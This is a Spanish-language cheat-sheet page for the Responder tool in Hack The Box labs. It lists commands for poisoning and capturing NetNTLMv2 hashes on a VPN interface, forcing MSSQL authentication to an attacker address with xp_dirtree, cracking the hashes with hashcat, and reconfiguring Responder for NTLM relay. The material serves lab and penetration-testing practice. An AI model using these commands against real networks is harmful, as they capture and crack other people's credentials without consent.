Responder
En HTB Responder se usa sobre todo como servidor SMB o HTTP falso: haces que la víctima se conecte a \\tu-ip\algo (xp_dirtree, un .lnk, un include) y captura su hash NetNTLMv2 para crackearlo con hashcat (modo 5600).
- Plataforma
- Linux (Python)
- Web oficial
- github.com/lgandx/Responder
- En HTB
- 8 máquinas
Instalación
sudo apt install responderChuleta de Responder
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Capturar hashes
Escuchar en la interfaz de la VPN
sudo responder -I tun0
Solo observar, sin envenenar
sudo responder -I tun0 -A
Forzar la autenticación desde MSSQL
Víctima
EXEC master..xp_dirtree '\\10.10.14.5\share'
Crackear el NetNTLMv2 capturado
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
Desactivar SMB y HTTP para hacer relay con ntlmrelayx
sudo sed -i 's/^SMB = On/SMB = Off/; s/^HTTP = On/HTTP = Off/' /etc/responder/Responder.confNingún comando coincide.
Máquinas de HTB donde se usa Responder
Sacadas de los capítulos de los vídeos de IppSec en los que aparece Responder. El enlace ▶ salta al minuto de esa parte.
Guías que usan Responder
- Captura y NTLM relay: Responder, ntlmrelayx y coerción con PetitPotam 5 min de lectura Capturar hashes NetNTLMv2 con Responder, saber cuándo se pueden retransmitir (firma SMB, LDAP, ADCS), usar ntlmrelayx y forzar autenticaciones con PetitPotam.